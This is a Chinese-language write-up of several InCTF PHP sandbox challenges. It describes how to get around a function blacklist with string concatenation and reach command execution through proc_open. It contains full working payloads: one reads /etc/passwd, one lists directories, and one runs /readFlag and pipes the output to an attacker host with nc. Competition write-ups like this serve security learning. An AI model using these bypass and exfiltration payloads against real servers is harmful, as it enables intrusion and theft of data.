前言
这次做InCTF有很大的收获,因此总结一波。
php+1,php+1.5 和 php+2.5都有用到这个函数proc_open因此先了解一下。
proc_open的说明:
1 | (PHP 4 >= 4.3.0, PHP 5, PHP 7) |
参数:
1 | cmd |
例子:
1 |
|
以上例子的运行结果:
1 | Array |
并且可以执行os命令:
1 |
|
下面是这次我做InCTF中遇到的题目:
php+1的源码:
1 |
|
php+1.5的源码:
1 |
|
php+2的源码,其中proc_open禁用:
1 | File doesn't exist |
php+2.5的源码:
1 | File doesn't exist |
php+1题目分析:
1:is_file检查是否是存在,file_exists检查文件或者目录是否存在。
2:get_defined_functions()[‘internal’]是返回系统定义的函数,但是echo,eval,exit等不是函数他们是语言的特性。
php+1.5题目分析:
1:与上面一样只是php+1.5过滤了$blacklist中函数和字符。
php+2.5题目分析:
1:与上面两个是一样的只是输入限定在100个字符的范围内。
绕过:
我们先构建一个payload去执行获取他的phpinfo信息。
1 | http://3.16.218.96/?input=$f=p.h.p.i.n.f.o;%20$f();&thisfile=/ |
我们获取他的禁用函数:
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait, |
通过观察列表我们发现proc_open没有在列表中,因此php+1,php+1.5,php+2.5可以用proc_open来绕过。
proc_open需要的结构:
1 |
|
但是上面的payload的字符数是很多的,因此我们可以通过$_GET来发送额外的参数来绕过。
因此我们需要构造$_GET来接收参数。
1 | arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w |
但是我们要用到proc_open,然而”_"被禁用了。我们可以通过下面的方式来生成。
1 |
|
通过上面的方法我们就构建了proc_open方法。
为了去接受字符串我们需要构建$_GET函数。
1 |
|
设计payload:
1:我们必须要设计一种请求,即第一个查询变量是我们执行的命令,第二个是描述符数组。
2:由于我们要使用current和next函数从$_GET数组中获取第一个和第二个元素。
3:类似如下:
1 | http://challenge-address/?p=command-we-want-to-execute&arr[][]=descriptor-array&input=payload&thisfile=/dev/null |
我们可以通过glob查看目录,最终通过执行os命令读取flag。
最终的payload:
1 | $c=ch.r; |
上面的payload是97个字符。
最后的请求方式:
1 | http://challenge-address/?p=/readFlag /flag | nc our-ip 8080&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$c=ch.r;$u=$c(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pro.c.$u.ope.n;$e($c($g),$n($g),$j);&thisfile=/dev/null |
payload打过去获取可以获得php+1,php+1.5,php+2.5的flag
1 | http://3.16.218.96/?p=/readFlag%20/flag%20|%20nc%20our-ip%208080&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$c=ch.r;$u=$c(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pro.c.$u.ope.n;$e($c($g),$n($g),$j);&thisfile=/dev/null |
在服务器上用nc来接收flag:
1 | FLAG: inctf{Getting_segmentation_fault is_fun} |
php+1的解法2:
1:黑名单阻止我们直接使用任何内部函数,但是我们可以用字符串拼接的方法来绕过比如直接用phpinfo是不被允许的但是我们可以用eval(“php".”info();");来绕过。
2:同时我们的我们包含”_"的函数也是不能用的,我们可以通过两种方法来绕过一种是直接用thisfile包含下划线的目录名,然后通过引用$thisfille来绕过。另外我们也可以用$lol=eval(‘return ch'.’r(0x5f);');在输入之前添加,并用下划线$lol来替换。
3:这是我们用来任意读取文件的payload:
1 | /?input=eval("highlight".$thisfille[8]."fil"."e('/etc/passwd');");&thisfile=/lib/x86_64-linux-gnu |
由方法1知有很多函数是被禁用了的。
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait, |
但是golb()没有被禁用,因此我们可以用下面的payload来列目录。
1 | /?input=eval('print'.$thisfille[8].'r(glo'.'b(\'/*\'));');&thisfile=/lib/x86_64-linux-gnu |
1 | Equivalent to: print_r(glob('/*')); |
将产生:
1 | Array |
开始fuzz:
1:我们看到该/flag文件确实存在,即使我们以前无法读取它。我们还看到有一个/readFlag文件,我们无法显示其中任何一个的内容,但是我们可以假定这是一个二进制文件(也许是suid二进制文件),可以运行该文件以打印出的内容/flag。这就是题目提示要获取Shell的原因–我们需要执行OS命令才能解决此难题。
OS命令注入:
1:回到禁用功能列表,我们看到几乎所有可用于执行代码的功能都已禁用。但是,他们启用了一个功能,该功能使我们可以执行命令:proc_open()。它是非常重要的,因此我们可以像这样使用它来运行 /readFlag
payload如下:
1 | /?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return%20proc'.$thisfille[8].'open("/readFlag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu |
1 | Equivalent to: |
输出:
1 | FLAG: inctf{That-w4s-fun-bypassing-php-waf:SpyD3r} |
附录:
为了证明我们先前关于/readFlagsuid二进制的假设,我们可以运行:
1 | /?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return%20proc'.$thisfille[8].'open("ls%20-l%20/readFlag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu |
输出:
1 | -r-s--x--x 1 root ubuntu 8728 Sep 20 08:00 /readFlag |
观察到suid位已设置。
而且该标志只能由root读取:
1 | /?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return proc'.$thisfille[8].'open("ls -l /flag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu |
输出:
1 | -r-------- 1 root root 45 Sep 20 08:00 /flag |